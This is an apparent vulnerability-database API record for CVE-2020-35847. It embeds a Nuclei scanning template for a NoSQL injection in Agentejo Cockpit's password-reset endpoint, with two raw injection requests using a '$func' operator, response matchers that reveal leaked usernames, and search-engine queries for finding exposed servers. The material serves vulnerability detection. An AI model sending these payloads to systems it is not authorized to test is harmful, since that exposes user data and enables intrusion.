{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-35847/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-35847/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-35847/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-35847/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-35847/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-35847"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-35847"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-35847.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-35847\n\ninfo:\n  name: Agentejo Cockpit <0.11.2 - NoSQL Injection\n  author: dwisiswant0\n  severity: critical\n  description: |\n    Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service.\n  remediation: |\n    Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability.\n  reference:\n    - https://swarm.ptsecurity.com/rce-cockpit-cms/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-35847\n    - https://getcockpit.com/\n    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466\n    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-35847\n    cwe-id: CWE-89\n    epss-score: 0.98165\n    epss-percentile: 0.99914\n    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: agentejo\n    product: cockpit\n    shodan-query:\n      - http.favicon.hash:688609340\n      - http.html:\"cockpit\"\n    fofa-query:\n      - icon_hash=688609340\n      - body=\"cockpit\"\n  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /auth/requestreset HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"user\": {\n            \"$func\": \"var_dump\"\n          }\n        }\n      - |\n        POST /auth/requestreset HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"user\": {\n            \"$func\": \"nonexistent_function\"\n          }\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body_1\n        regex:\n          - 'string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\"'\n\n      - type: regex\n        part: body_1\n        negative: true\n        regex:\n          - 'string\\([0-9]{1,3}\\)(\\s)?\"(error404)([A-Za-z0-9-.@\\s-]+)\"'\n\n      - type: regex\n        part: body_2\n        negative: true\n        regex:\n          - 'string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\"'\n# digest: 4a0a00473045022100d609d2e1a78229938b48fca510b702f15c2bd4ccb3e33886086788c05b1aff0f022068e0124b5f6e9ca001b10c197aae4d9d87d313962391f376ab44bb797c4eb6bd:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-35847"
}